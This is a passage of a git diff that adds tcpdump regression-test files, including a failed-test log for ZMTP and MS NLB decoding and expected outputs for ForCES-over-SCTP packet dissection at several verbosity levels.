+> IP (tos 0x0, ttl 64, id 17999, offset 0, flags [DF], proto TCP (6), length 603)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [P.], cksum 0x0050 (incorrect -> 0xafc1), seq 119:670, ack 67, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 551: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body (64-bit) length 540, flags 0x00 (-|-|-|-|-|-|-|-), first 128 byte(s) of body:
+> 	 0x0000:  5468 6520 7175 6963 6b20 6272 6f77 6e20  The.quick.brown.
+> 	 0x0010:  666f 7820 6a75 6d70 7320 6f76 6572 2074  fox.jumps.over.t
+> 	 0x0020:  6865 206c 617a 7920 646f 672e 2054 6865  he.lazy.dog..The
+> 	 0x0030:  2071 7569 636b 2062 726f 776e 2066 6f78  .quick.brown.fox
+> 	 0x0040:  206a 756d 7073 206f 7665 7220 7468 6520  .jumps.over.the.
+> 	 0x0050:  6c61 7a79 2064 6f67 2e20 5468 6520 7175  lazy.dog..The.qu
+> 	 0x0060:  6963 6b20 6272 6f77 6e20 666f 7820 6a75  ick.brown.fox.ju
+> 	 0x0070:  6d70 7320 6f76 6572 2074 6865 206c 617a  mps.over.the.laz
+> 
+> IP (tos 0x0, ttl 64, id 51308, offset 0, flags [DF], proto TCP (6), length 84)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [P.], cksum 0xfe48 (incorrect -> 0xc592), seq 67:99, ack 670, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 32: ZMTP/1.0
+> 	 frame flags+body  (8-bit) length 1, flags 0x01 (-|-|-|-|-|-|-|MORE)
+> 	 frame flags+body  (8-bit) length 29, flags 0x00 (-|-|-|-|-|-|-|-), first 28 byte(s) of body:
+> 	 0x0000:  5468 6973 2069 7320 6120 7368 6f72 7420  This.is.a.short.
+> 	 0x0010:  4153 4349 4920 7265 706c 792e            ASCII.reply.
+> 
+> IP (tos 0x0, ttl 64, id 18000, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 670, ack 99, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+> IP (tos 0x0, ttl 64, id 51309, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.33000 > 127.0.0.1.55358: Flags [F.], cksum 0xfe28 (incorrect -> 0x16d8), seq 99, ack 671, win 256, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+> IP (tos 0x0, ttl 64, id 18001, offset 0, flags [DF], proto TCP (6), length 52)
+>     127.0.0.1.55358 > 127.0.0.1.33000: Flags [.], cksum 0xfe28 (incorrect -> 0x16d7), ack 100, win 257, options [nop,nop,TS val 245537400 ecr 245537400], length 0
+
+Failed test: msnlb
+
+1,14c1,2
+< 02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602 0000 0200 0000 c0a8 6450  ..............dP
+< 	0x0010:  c0a8 6452 0100 0000 0100 0900 35e3 3b4f  ..dR........5.;O
+< 	0x0020:  bbce c804 0000 0000 0000 0000 1990 0161  ...............a
+< 	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+< 	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+< 	0x0050:  0000                                     ..
+< 02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602 0000 0100 0000 c0a8 6450  ..............dP
+< 	0x0010:  c0a8 6451 0000 0000 0100 0900 dfe2 3b4f  ..dQ..........;O
+< 	0x0020:  a714 6502 0000 0000 0000 0000 1990 0161  ..e............a
+< 	0x0030:  5000 0561 8770 0861 8ff0 0861 bbb1 1b61  P..a.p.a...a...a
+< 	0x0040:  4bb2 2461 e113 3e61 00f4 ff6f 0000 0000  K.$a..>a...o....
+< 	0x0050:  0000                                     ..
+---
+> MS NLB heartbeat, host priority: 2, cluster IP: 192.168.100.80, host IP: 192.168.100.82
+> MS NLB heartbeat, host priority: 1, cluster IP: 192.168.100.80, host IP: 192.168.100.81
+
+Failed test: msnlb2
+
+1,4c1,2
+< 02:02:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602                           ......
+< 02:01:c0:a8:64:50 > ff:ff:ff:ff:ff:ff, ethertype Unknown (0x886f), length 1510: 
+< 	0x0000:  bf01 dec0 0602                           ......
+---
+> [|MS NLB]
+> [|MS NLB]
+
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.out b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.out
new file mode 100644
index 0000000000000000000000000000000000000000..63bb581075d2e9075ac313ba6cf1794546234da8
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.out
@@ -0,0 +1,40 @@
+IP 150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 1048037094] [SID: 0] [SSEQ 1] [PPID 0x0] 
+	ForCES Query Response 
+
+IP 211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP] (1) [DATA] (B)(E) [TSN: 18398476] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES HeartBeat 
+
+IP 150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP] (1) [SACK] [cum ack 18398476] [a_rwnd 57320] [#gap acks 0] [#dup tsns 0] 
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 167996938] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query 
+
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 167996939] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config 
+
+IP 150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP] (1) [SACK] [cum ack 167996939] [a_rwnd 57228] [#gap acks 0] [#dup tsns 0] 
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 167996940] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config 
+
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 167996941] [SID: 0] [SSEQ 5] [PPID 0x0] 
+	ForCES Config 
+
+IP 150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP] (1) [SACK] [cum ack 167996941] [a_rwnd 57100] [#gap acks 0] [#dup tsns 0] 
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [DATA] (B)(E) [TSN: 167996942] [SID: 0] [SSEQ 6] [PPID 0x0] 
+	ForCES Config 
+
+IP 211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP] (1) [SACK] [cum ack 1830592459] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP 150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP] (1) [HB REQ] 
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [HB REQ] 
+IP 150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP] (1) [HB ACK] 
+IP 150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP] (1) [DATA] (B)(E) [TSN: 1830592460] [SID: 0] [SSEQ 30] [PPID 0x0] 
+	ForCES HeartBeat 
+
+IP 211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP] (1) [HB ACK] 
+IP 211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP] (1) [DATA] (B)(E) [TSN: 18398553] [SID: 0] [SSEQ 77] [PPID 0x0] 
+	ForCES HeartBeat 
+
+IP 211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP] (1) [DATA] (B)(E) [TSN: 18398573] [SID: 0] [SSEQ 97] [PPID 0x0] 
+	ForCES HeartBeat 
+
+IP 211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP] (1) [SACK] [cum ack 1830592477] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP 150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP] (1) [SACK] [cum ack 18398573] [a_rwnd 56144] [#gap acks 0] [#dup tsns 0] 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.pcap b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.pcap
new file mode 100644
index 0000000000000000000000000000000000000000..b60fdd08becffb9b836b9cbef1c5dbd507f4e197
Binary files /dev/null and b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1.pcap differ
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvv.out
new file mode 100644
index 0000000000000000000000000000000000000000..32b76937afe5d6af84bb13ab93437a37f581715f
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvv.out
@@ -0,0 +1,227 @@
+IP (tos 0x2,ECT(0), ttl 64, id 4, offset 0, flags [DF], proto SCTP (132), length 380)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1048037094] [SID: 0] [SSEQ 1] [PPID 0x0] 
+	ForCES Query Response 
+	ForCES Version 1 len 332B flags 0x38400000 
+	SrcID 0x2(FE) DstID 0x40000001(CE) Correlator 0x1
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 308 (data length 304 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  GetResp(0x9) length 296
+           PATH-DATA TLV, length 292 (data encapsulated 288 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 2
+              FULLDATA TLV (Length 280 DataLen 276 Bytes)
+               [
+               0x0000:  0000 0000 0000 0001 0000 0001 0000 0001
+               0x0010:  0000 0002 0000 0001 0000 0002 0000 0003
+               0x0020:  0000 0001 0000 0003 0000 0003 0000 0002
+               0x0030:  0000 0004 0000 0004 0000 0001 0000 0005
+               0x0040:  0000 0004 0000 0002 0000 0006 0000 0005
+               0x0050:  0000 0001 0000 0007 0000 0005 0000 0002
+               0x0060:  0000 0008 0000 0006 0000 0001 0000 0009
+               0x0070:  0000 0007 0000 0001 0000 000a 0000 0007
+               0x0080:  0000 0002 0000 000b 0000 0008 0000 0001
+               0x0090:  0000 000c 0000 0009 0000 0001 0000 000d
+               0x00a0:  0000 000a 0000 0001 0000 000e 0000 000b
+               0x00b0:  0000 0001 0000 000f 0000 000c 0000 0001
+               0x00c0:  0000 0010 0000 000d 0000 0001 0000 0011
+               0x00d0:  0000 000e 0000 0001 0000 0012 0000 000f
+               0x00e0:  0000 0001 0000 0013 0000 0010 0000 0001
+               0x00f0:  0000 0014 0000 0011 0000 0001 0000 0015
+               0x0100:  0000 0012 0000 0001 0000 0016 0000 0013
+               0x0110:  0000 0001
+               ]
+
+
+IP (tos 0x0, ttl 46, id 0, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398476] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x2
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+
+IP (tos 0x2,ECT(0), ttl 64, id 1, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [SACK] [cum ack 18398476] [a_rwnd 57320] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 3, offset 0, flags [DF], proto SCTP (132), length 100)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996938] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query 
+	ForCES Version 1 len 52B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x3
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 28 (data length 24 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  Get(0x7) length 16
+           PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+
+
+IP (tos 0x0, ttl 46, id 4, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996939] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x4
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 1
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+
+IP (tos 0x2,ECT(0), ttl 64, id 5, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [SACK] [cum ack 167996939] [a_rwnd 57228] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 5, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996940] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x5
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 2
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+
+IP (tos 0x0, ttl 46, id 6, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996941] [SID: 0] [SSEQ 5] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x6
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 3
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+
+IP (tos 0x2,ECT(0), ttl 64, id 6, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [SACK] [cum ack 167996941] [a_rwnd 57100] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 7, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996942] [SID: 0] [SSEQ 6] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x7
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 2
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 1
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+
+IP (tos 0x0, ttl 46, id 110, offset 0, flags [DF], proto SCTP (132), length 48)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [SACK] [cum ack 1830592459] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x2,ECT(0), ttl 64, id 90, offset 0, flags [DF], proto SCTP (132), length 80)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [HB REQ] 
+IP (tos 0x0, ttl 46, id 111, offset 0, flags [DF], proto SCTP (132), length 80)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [HB REQ] 
+IP (tos 0x2,ECT(0), ttl 64, id 91, offset 0, flags [DF], proto SCTP (132), length 80)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [HB ACK] 
+IP (tos 0x2,ECT(0), ttl 64, id 111, offset 0, flags [DF], proto SCTP (132), length 72)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 1830592460] [SID: 0] [SSEQ 30] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0x00000000 
+	SrcID 0x2(FE) DstID 0x40000001(CE) Correlator 0x53
+	ForCES flags:
+	  NoACK(0x0), prio=0, EMReserved(0x0),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+
+IP (tos 0x0, ttl 46, id 112, offset 0, flags [DF], proto SCTP (132), length 80)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [HB ACK] 
+IP (tos 0x0, ttl 46, id 111, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398553] [SID: 0] [SSEQ 77] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x83
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+
+IP (tos 0x0, ttl 46, id 148, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398573] [SID: 0] [SSEQ 97] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x97
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+
+IP (tos 0x0, ttl 46, id 149, offset 0, flags [DF], proto SCTP (132), length 48)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [SACK] [cum ack 1830592477] [a_rwnd 55272] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x2,ECT(0), ttl 64, id 147, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [SACK] [cum ack 18398573] [a_rwnd 56144] [#gap acks 0] [#dup tsns 0] 
diff --git a/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvvv.out b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvvv.out
new file mode 100644
index 0000000000000000000000000000000000000000..6bc4faaa35fececf6933e9b84ec9fb219f927f7a
--- /dev/null
+++ b/peasoup_examples/tests/tcpdump/tcpd_tests/forces1vvvv.out
@@ -0,0 +1,306 @@
+IP (tos 0x2,ECT(0), ttl 64, id 4, offset 0, flags [DF], proto SCTP (132), length 380)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 1048037094] [SID: 0] [SSEQ 1] [PPID 0x0] 
+	ForCES Query Response 
+	ForCES Version 1 len 332B flags 0x38400000 
+	SrcID 0x2(FE) DstID 0x40000001(CE) Correlator 0x1
+	ForCES flags:
+	  NoACK(0x0), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 308 (data length 304 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  GetResp(0x9) length 296
+           PATH-DATA TLV, length 292 (data encapsulated 288 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 2
+              FULLDATA TLV (Length 280 DataLen 276 Bytes)
+               [
+               0x0000:  0000 0000 0000 0001 0000 0001 0000 0001
+               0x0010:  0000 0002 0000 0001 0000 0002 0000 0003
+               0x0020:  0000 0001 0000 0003 0000 0003 0000 0002
+               0x0030:  0000 0004 0000 0004 0000 0001 0000 0005
+               0x0040:  0000 0004 0000 0002 0000 0006 0000 0005
+               0x0050:  0000 0001 0000 0007 0000 0005 0000 0002
+               0x0060:  0000 0008 0000 0006 0000 0001 0000 0009
+               0x0070:  0000 0007 0000 0001 0000 000a 0000 0007
+               0x0080:  0000 0002 0000 000b 0000 0008 0000 0001
+               0x0090:  0000 000c 0000 0009 0000 0001 0000 000d
+               0x00a0:  0000 000a 0000 0001 0000 000e 0000 000b
+               0x00b0:  0000 0001 0000 000f 0000 000c 0000 0001
+               0x00c0:  0000 0010 0000 000d 0000 0001 0000 0011
+               0x00d0:  0000 000e 0000 0001 0000 0012 0000 000f
+               0x00e0:  0000 0001 0000 0013 0000 0010 0000 0001
+               0x00f0:  0000 0014 0000 0011 0000 0001 0000 0015
+               0x0100:  0000 0012 0000 0001 0000 0016 0000 0013
+               0x0110:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1014 0053 0000 0002 4000 0001 0000 0000
+	 0x0010:  0000 0001 3840 0000 1000 0134 0000 0001
+	 0x0020:  0000 0001 0009 0128 0110 0124 0000 0001
+	 0x0030:  0000 0002 0112 0118 0000 0000 0000 0001
+	 0x0040:  0000 0001 0000 0001 0000 0002 0000 0001
+	 0x0050:  0000 0002 0000 0003 0000 0001 0000 0003
+	 0x0060:  0000 0003 0000 0002 0000 0004 0000 0004
+	 0x0070:  0000 0001 0000 0005 0000 0004 0000 0002
+	 0x0080:  0000 0006 0000 0005 0000 0001 0000 0007
+	 0x0090:  0000 0005 0000 0002 0000 0008 0000 0006
+	 0x00a0:  0000 0001 0000 0009 0000 0007 0000 0001
+	 0x00b0:  0000 000a 0000 0007 0000 0002 0000 000b
+	 0x00c0:  0000 0008 0000 0001 0000 000c 0000 0009
+	 0x00d0:  0000 0001 0000 000d 0000 000a 0000 0001
+	 0x00e0:  0000 000e 0000 000b 0000 0001 0000 000f
+	 0x00f0:  0000 000c 0000 0001 0000 0010 0000 000d
+	 0x0100:  0000 0001 0000 0011 0000 000e 0000 0001
+	 0x0110:  0000 0012 0000 000f 0000 0001 0000 0013
+	 0x0120:  0000 0010 0000 0001 0000 0014 0000 0011
+	 0x0130:  0000 0001 0000 0015 0000 0012 0000 0001
+	 0x0140:  0000 0016 0000 0013 0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 0, offset 0, flags [DF], proto SCTP (132), length 72)
+    211.129.72.8.6706 > 150.140.254.202.48316: sctp[ForCES LP]
+	1) [DATA] (B)(E) [TSN: 18398476] [SID: 0] [SSEQ 0] [PPID 0x0] 
+	ForCES HeartBeat 
+	ForCES Version 1 len 24B flags 0xc0400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x2
+	ForCES flags:
+	  AlwaysACK(0x3), prio=0, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+
+	  Raw ForCES message
+	 [
+	 0x0000:  100f 0006 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0002 c040 0000
+	 ]
+
+IP (tos 0x2,ECT(0), ttl 64, id 1, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.48316 > 211.129.72.8.6706: sctp[ForCES LP]
+	1) [SACK] [cum ack 18398476] [a_rwnd 57320] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 3, offset 0, flags [DF], proto SCTP (132), length 100)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996938] [SID: 0] [SSEQ 2] [PPID 0x0] 
+	ForCES Query 
+	ForCES Version 1 len 52B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x3
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 28 (data length 24 Bytes)
+         FEObj LFB(Classid 1) instance 1
+          Oper TLV  Get(0x7) length 16
+           PATH-DATA TLV, length 12 (data encapsulated 8 Bytes)
+            Pathdata: Flags 0x0 ID count 1
+              ID#01: 1
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1004 000d 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0003 f840 0000 1000 001c 0000 0001
+	 0x0020:  0000 0001 0007 0010 0110 000c 0000 0001
+	 0x0030:  0000 0001
+	 ]
+
+IP (tos 0x0, ttl 46, id 4, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996939] [SID: 0] [SSEQ 3] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x4
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
+	  Extra flags: rsv(b5-7) 0x0 rsv(b13-31) 0x0
+	LFBselect TLV, length 40 (data length 36 Bytes)
+         #3(Classid 3) instance 1
+          Oper TLV  SetProp(0x2) length 28
+           PATH-DATA TLV, length 24 (data encapsulated 20 Bytes)
+            Pathdata: Flags 0x0 ID count 2
+              ID#01: 60
+              ID#02: 1
+              FULLDATA TLV (Length 8 DataLen 4 Bytes)
+               [
+               0x0000:  0000 0001
+               ]
+
+	  Raw ForCES message
+	 [
+	 0x0000:  1003 0010 4000 0001 0000 0002 0000 0000
+	 0x0010:  0000 0004 f840 0000 1000 0028 0000 0003
+	 0x0020:  0000 0001 0002 001c 0110 0018 0000 0002
+	 0x0030:  0000 003c 0000 0001 0112 0008 0000 0001
+	 ]
+
+IP (tos 0x2,ECT(0), ttl 64, id 5, offset 0, flags [DF], proto SCTP (132), length 48)
+    150.140.254.202.57077 > 211.129.72.8.6704: sctp[ForCES HP]
+	1) [SACK] [cum ack 167996939] [a_rwnd 57228] [#gap acks 0] [#dup tsns 0] 
+IP (tos 0x0, ttl 46, id 5, offset 0, flags [DF], proto SCTP (132), length 112)
+    211.129.72.8.6704 > 150.140.254.202.57077: sctp[ForCES HP]
+	1) [DATA] (B)(E) [TSN: 167996940] [SID: 0] [SSEQ 4] [PPID 0x0] 
+	ForCES Config 
+	ForCES Version 1 len 64B flags 0xf8400000 
+	SrcID 0x40000001(CE) DstID 0x2(FE) Correlator 0x5
+	ForCES flags:
+	  AlwaysACK(0x3), prio=7, execute-all-or-none(0x1),
+	  Standalone(0x0), StartofTransaction(0x0)
